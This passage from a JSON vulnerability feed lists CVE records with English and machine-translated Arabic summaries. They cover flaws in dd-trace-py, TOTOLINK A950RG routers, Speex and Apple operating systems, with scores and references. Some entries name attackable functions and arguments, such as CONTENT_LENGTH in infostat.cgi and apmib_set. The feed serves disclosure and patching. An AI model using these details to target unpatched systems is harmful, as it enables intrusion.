fixed in version 4.15.5.","ar":"Datadog dd-trace-py هو عميل APM بلغة Python من Datadog. من الإصدار 3.13.0 حتى 4.15.5، لا يتعامل تجهيز معالجة النصوص البرمجية لـ IAST بشكل صحيح مع بعض الأخطاء الداخلية بينما تقوم عملية تنسيق النصوص بالأسلوب القديم مع % بمعالجة المدخلات التي يتحكم بها المهاجم. يمكن لخطأ غير معالج أن ينهي عملية Python ويقاطع العمل الذي تعالجه. يتطلب الاستغلإل تمكين IAST، وهو ليس الوضع الافتراضي، وأن تقوم شيفرة التطبيق بتطبيق عملية التنسيق المتأثرة على المدخلات التي يتحكم بها المهاجم. تم إصلاح هذه المشكلة في الإصدار 4.15.5."},"refs":[["https://github.com/DataDog/dd-trace-py/commit/69dc19853247434ceab83e0c1c4e279a2eb2a3f7","ref"],["https://github.com/DataDog/dd-trace-py/commit/ace972489b57dd020ff52b706bb548a354f2dd69","ref"],["https://github.com/DataDog/dd-trace-py/pull/20786","ref"],["https://github.com/DataDog/dd-trace-py/pull/20823","ref"],["https://github.com/DataDog/dd-trace-py/releases/tag/v4.15.5","ref"],["https://github.com/DataDog/dd-trace-py/security/advisories/GHSA-p3m5-h5v9-vqj6","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"datadog-dd-trace-py"},{"id":"CVE-2026-116508","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T22:16:54Z","product":"TOTOLINK A950RG","affected":[["4.1.2cu.5268_B20221104",null]],"title":{"en":"TOTOLINK A950RG Device-Information CGI infostat.cgi sub_402340 stack-based overflow","ar":"فيضان مخزن مؤقت قائم على التكديس في جهاز TOTOLINK A950RG عبر معلومات الجهاز CGI في infostat.cgi والدالة sub_402340"},"summary":{"en":"A security flaw has been discovered in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function sub_402340 of the file infostat.cgi of the component Device-Information CGI. Performing a manipulation of the argument CONTENT_LENGTH results in stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.","ar":"تم اكتشاف عيب أمان في جهاز TOTOLINK A950RG بالإصدار 4.1.2cu.5268_B20221104. تأثر بهذه المشكلة الدالة sub_402340 الموجودة في ملف infostat.cgi التابع لمكون معلومات الجهاز CGI. يؤدي التلاعب بالمعامل CONTENT_LENGTH إلى حدوث فيضان للمخزن المؤقت القائم على التكديس. الاستغلال عن بُعد لهذا الهجوم ممكن، وقد تم نشر شيفرة الاستغلال للعامة ويمكن استخدامها في الهجمات."},"refs":[["https://vuldb.com/cve/CVE-2026-116508","advisory"],["https://vuldb.com/submit/1022557","advisory"],["https://gist.github.com/H3rmesk1t/ad72def4ccc232757d4cbabf45da72cb","ref"],["https://vuldb.com/vuln/426406","ref"],["https://vuldb.com/vuln/426406/cti","ref"],["https://www.totolink.net/","ref"]],"epss":0.0061,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"totolink-a950rg"},{"id":"CVE-2026-116741","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:52:40Z","product":"xiph speex","affected":[["0 – 1.2.1",null]],"title":{"en":"Speex through 1.2.1 Out-of-Bounds Write via speex_bits_read_whole_bytes","ar":"Speex حتى الإصدار 1.2.1 كتابة خارج حدود الذاكرة عبر speex_bits_read_whole_bytes"},"summary":{"en":"Speex (libspeex) through 1.2.1 contains an out-of-bounds write vulnerability in speex_bits_read_whole_bytes() in libspeex/bits.c that mishandles length truncation for non-owned SpeexBits buffers. Attackers can stream crafted Speex data into buffers set up with speex_bits_init_buffer() or speex_bits_set_bit_buffer() to corrupt heap or stack memory and crash applications.","ar":"تحتوي مكتبة Speex (libspeex) حتى الإصدار 1.2.1 على ثغرة كتابة خارج حدود الذاكرة في الدالة speex_bits_read_whole_bytes() داخل الملف libspeex/bits.c والتي تعامل تقصير الطول بشكل غير سليم لمخازن SpeexBits غير المملوكة. يمكن للمهاجمين بث بيانات Speex معدة خصيصًا إلى مخازن تم إعدادها باستخدام speex_bits_init_buffer() أو speex_bits_set_bit_buffer() لتخريب ذاكرة التخزين المؤقت (heap) أو المكدس (stack) وتعطيل التطبيقات."},"refs":[["https://gitlab.xiph.org/xiph/speex/-/merge_requests/32","patch"],["https://hackmd.io/@haindpwn/speex-bits-read-whole-bytes-oob-write","advisory"],["https://www.vulncheck.com/advisories/speex-through-1.2.1-out-of-bounds-write-via-speex-bits-read-whole-bytes","advisory"],["https://github.com/xiph/speex/issues/42","ref"],["https://github.com/xiph/speex","ref"],["https://github.com/xiph/speex/blob/Speex-1.2.1/libspeex/bits.c#L177","ref"],["https://hackmd.io/@haindpwn/cve-2026-116741-speex-bits-read-whole-bytes-oob-write","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"xiph-speex"},{"id":"CVE-2026-116588","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T21:22:46Z","product":"DataDog dd-trace-py","affected":[],"title":{"en":"Datadog dd-trace-py: ReDOS in URL query string obfuscation","ar":"Datadog dd-trace-py: ثغرة حجب الخدمة الناتجة عن التعبير العادي ReDOS في إخفاء سلسلة استعلامات URL"},"summary":{"en":"Datadog dd-trace-py is the Datadog Python APM client. From 1.5.0 until 3.19.9 and 4.15.6, the default query-string obfuscation regular expression can exhibit excessive backtracking while synchronously processing attacker-controlled URL query strings for HTTP span metadata. A remote attacker can cause prolonged CPU consumption, request latency, and service unavailability in affected HTTP tracing integrations that include query strings in URL span tags. The vulnerable processing is enabled by default for those integrations. This issue is fixed in versions 3.19.9 and 4.15.6.","ar":"حزمة Datadog dd-trace-py هي عميل APM بلغة Python لشركة Datadog. من الإصدار 1.5.0 حتى 3.19.9 و4.15.6، يمكن للتعبير العادي الافتراضي لإخفاء سلسلة الاستعلام أن يُظهر تراجعًا مفرطًا أثناء معالجة سلاسل استعلامات URL التي يتحكم بها المهاجم بالتزامن مع بيانات تعريف النطاق HTTP. يمكن لمهاجم عن بُعد التسبب في استهلاك طويل للاستهلاك المعالج، وتأخير الطلبات، وعدم توفر الخدمة في عمليات التكامل لتتبع HTTP المتأثرة التي تتضمن سلاسل الاستعلام في علامات نطاق URL. تكون المعالجة المعرضة للخطر ممكّنة افتراضيًا لتلك عمليات التكامل. تم إصلاح هذه المشكلة في الإصدارين 3.19.9 و4.15.6."},"refs":[["https://github.com/DataDog/dd-trace-py/security/advisories/GHSA-3633-r77q-h3v3","ref"],["https://github.com/DataDog/dd-trace-py/pull/20857","ref"],["https://github.com/DataDog/dd-trace-py/pull/20862","ref"],["https://github.com/DataDog/dd-trace-py/pull/20880","ref"],["https://github.com/DataDog/dd-trace-py/commit/63ddc3cb07d8813ded7a8b3ab5b8d0f5470e4bfd","ref"],["https://github.com/DataDog/dd-trace-py/commit/83ea39845dd95bfb9b8e247c62b3d22fc5dce1ce","ref"],["https://github.com/DataDog/dd-trace-py/commit/a6d73607ea45ecd67152630f64b0945556972ed8","ref"],["https://github.com/DataDog/dd-trace-py/releases/tag/v3.19.9","ref"],["https://github.com/DataDog/dd-trace-py/releases/tag/v4.15.6","ref"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"datadog-dd-trace-py"},{"id":"CVE-2026-86972","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-120","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:20:35Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"A buffer overflow was addressed with improved size validation.","ar":"تمت معالجة ثغرة فيضان المخزن المؤقت من خلال تحسين التحقق من الحجم."},"summary":{"en":"A buffer overflow was addressed with improved size validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing a maliciously crafted audio file may lead to memory corruption.","ar":"تمت معالجة ثغرة فيضان المخزن المؤقت من خلال تحسين التحقق من الحجم. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Tahoe 26.7.2 و tvOS 27.2 و visionOS 27.2 و watchOS 27.2. قد تؤدي معالجة ملف صوتي مصمم بحقد إلى تلف الذاكرة."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-86916","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:20:28Z","product":"Apple Ipados","affected":[[" – <26.7","26.7"],["15.0 – <15.8","15.8"],["26.0 – <26.7.2","26.7.2"]],"title":{"en":"A use after free issue was addressed with improved memory management.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7.2. An app may be able to execute arbitrary code with kernel privileges.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تمت صيانة هذه المشكلة في iOS 26.7 وiPadOS 26.7، وiOS 27 وiPadOS 27، وmacOS Golden Gate 27، وmacOS Sequoia 15.8، وmacOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من تنفيذ شيفرة عشوائية بصلاحيات النواة."},"refs":[["https://support.apple.com/en-us/149034","advisory"],["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149041","advisory"],["https://support.apple.com/en-us/149043","advisory"],["https://support.apple.com/en-us/149522","advisory"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-84633","cvss":9,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:20:20Z","product":"Apple macOS","affected":[["0 – <27","27"]],"title":{"en":"A path traversal issue was addressed with improved path validation.","ar":"معالجة مشكلة تجاوز المسار من خلال تحسين التحقق من صحة المسار."},"summary":{"en":"A path traversal issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox.","ar":"تمت معالجة مشكلة تجاوز المسار من خلال تحسين التحقق من صحة المسار. تم إصلاح هذه المشكلة في macOS Golden Gate 27. قد يتمكن تطبيق ما من الخروج من بيئة الحماية الخاصة به."},"refs":[["https://support.apple.com/en-us/149035","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-84627","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:20:19Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["15.0 – <15.8","15.8"],["26.0 – <26.7.2","26.7.2"],[" – <27.0","27.0"],["0 – <26.7.2","26.7.2"],["0 – <27","27"],["0 – <15.8","15.8"]],"title":{"en":"A buffer overflow was addressed with improved bounds checking.","ar":"تمت معالجة فيضان المخزن المؤقت من خلال تحسين التحقق من الحدود."},"summary":{"en":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7.2, visionOS 27. Processing a maliciously crafted image may lead to heap corruption.","ar":"تمت معالجة فيضان المخزن المؤقت من خلال تحسين التحقق من الحدود. تمت صيانة هذه المشكلة في iOS 26.7.2 وiPadOS 26.7.2، وiOS 27 وiPadOS 27، وmacOS Golden Gate 27، وmacOS Sequoia 15.8، وmacOS Tahoe 26.7.2، وvisionOS 27. قد تؤدي معالجة صورة مُصممة بشكل خبيث إلى تلف الذاكرة المؤقتة للكومة."},"refs":[["https://support.apple.com/en-us/149034","advisory"],["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149038","advisory"],["https://support.apple.com/en-us/149043","advisory"],["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149522","advisory"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-84604","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:20:15Z","product":"Apple Macos","affected":[["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27","27"]],"title":{"en":"A stack buffer overflow was addressed through improved input validation.","ar":"تمت معالجة ثغرة فيضان المخزن المؤقت للكومة (stack buffer overflow) من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"A stack buffer overflow was addressed through improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. Processing a maliciously crafted audit file may corrupt process memory.","ar":"تمت معالجة ثغرة فيضان المخزن المؤقت للكومة (stack buffer overflow) من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في macOS Golden Gate 27، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2. معالجة ملف تدقيق مصمم بشكل خبيث قد تؤدي إلى تلف الذاكرة الخاصة بالعملية."},"refs":[["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-84599","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:20:14Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["15.0 – <15.8","15.8"],["26.0 – <26.7.2","26.7.2"],[" – <27.0","27.0"]],"title":{"en":"The issue was addressed with improved memory handling.","ar":"تم معالجة المشكلة من خلال تحسين التعامل مع الذاكرة."},"summary":{"en":"The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تم معالجة المشكلة من خلال تحسين التعامل مع الذاكرة. تم إصلاح هذه المشكلة في iOS 26.7.2 و iPadOS 26.7.2 و iOS 27 و iPadOS 27 و macOS Golden Gate 27 و macOS Sequoia 15.8 و macOS Tahoe 26.7 و tvOS 27 و visionOS 27 و watchOS 27. قد يتمكن أحد التطبيقات من التسبب في إنهاء النظام بشكل غير متوقع أو إفساد ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149034","advisory"],["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149036","advisory"],["https://support.apple.com/en-us/149037","advisory"],["https://support.apple.com/en-us/149038","advisory"],["https://support.apple.com/en-us/149042","advisory"],["https://support.apple.com/en-us/149043","advisory"],["https://support.apple.com/en-us/149227","advisory"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-84545","cvss":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:20:06Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27","27"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"]],"title":{"en":"A use after free issue was addressed with improved memory management.","ar":"تم معالجة مشكلة استخدام الذاكرة بعد تحريرها عبر تحسين إدارة الذاكرة."},"summary":{"en":"A use after free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app with App Sandbox restrictions may be able to escape the sandbox and execute code with root privileges.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في macOS Golden Gate 27 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق خاضع لقيود حماية التطبيقات (App Sandbox) من الهروب من نطاق الحماية وتنفيذ شيفرة برمجية بصلاحيات الجذر (root)."},"refs":[["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-84494","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:19:59Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],[" – <27.0","27.0"],[" – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. An app may be able to cause unexpected system termination or write kernel memory.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و visionOS 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء النظام بشكل غير متوقع أو كتابة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-84495","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:19:59Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["15.0 – <15.8","15.8"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination or write kernel memory.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2 و tvOS 27.2 و visionOS 27.2 و watchOS 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء النظام بشكل غير متوقع أو كتابة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-65385","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:45Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],[" – <27.2","27.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, visionOS 27.2, watchOS 27.2. A buffer overflow may result in memory corruption and unexpected app termination.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و visionOS 27.2 و watchOS 27.2. قد يؤدي فيضان المخزن المؤقت إلى تلف الذاكرة وإنهاء التطبيق بشكل غير متوقع."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-65363","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:42Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"]],"title":{"en":"The issue was addressed with improved checks.","ar":"معالجة المشكلة من خلال تحسين عمليات التحقق."},"summary":{"en":"The issue was addressed with improved checks. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to break out of its sandbox.","ar":"تمت معالجة المشكلة من خلال تحسين عمليات التحقق. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27 و iPadOS 27 و macOS Golden Gate 27 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من الخروج من بيئة الحماية الخاصة به."},"refs":[["https://support.apple.com/en-us/149034","advisory"],["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-65350","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:41Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في iOS 26.7.2 وiPadOS 26.7.2، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2، وtvOS 27.2، وvisionOS 27.2، وwatchOS 27.2. قد يتسبب تطبيق ما في إنهاء النظام بشكل غير متوقع أو إفساد ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-64759","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:18:33Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["15.0 – <15.8","15.8"],["26.0 – <26.7","26.7"]],"title":{"en":"An integer overflow was addressed with improved input validation.","ar":"تمت معالجة تجاوز سعة العدد الصحيح من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted image may lead to arbitrary code execution.","ar":"تمت معالجة تجاوز سعة العدد الصحيح من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في iOS 26.7.2 وiPadOS 26.7.2، وiOS 27 وiPadOS 27، وmacOS Golden Gate 27، وmacOS Sequoia 15.8، وmacOS Tahoe 26.7. قد تؤدي معالجة صورة مصوغة بشكل خبيث إلى تنفيذ شيفرة عشوائية."},"refs":[["https://support.apple.com/en-us/149034","advisory"],["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149042","advisory"],["https://support.apple.com/en-us/149043","advisory"],["https://support.apple.com/en-us/149227","advisory"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-116506","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-74","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T21:18:13Z","product":"TOTOLINK A950RG","affected":[["4.1.2cu.5268_B20221104",null]],"title":{"en":"TOTOLINK A950RG firewall.so apmib_set command injection","ar":"حقن الأوامر في جدار الحماية لجهاز TOTOLINK A950RG عبر ملف firewall.so والدالة apmib_set"},"summary":{"en":"A vulnerability was determined in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected is the function apmib_set of the file firewall.so. This manipulation causes command injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized.","ar":"تم تحديد ثغرة في جهاز TOTOLINK A950RG بالإصدار 4.1.2cu.5268_B20221104. المتأثر هو الدالة apmib_set في ملف firewall.so. يسبب هذا التلاعب حقن الأوامر، ويمكن بدء الهجوم عن بُعد. تم الكشف عن شيفرة الاستغلال للعامة وقد يتم 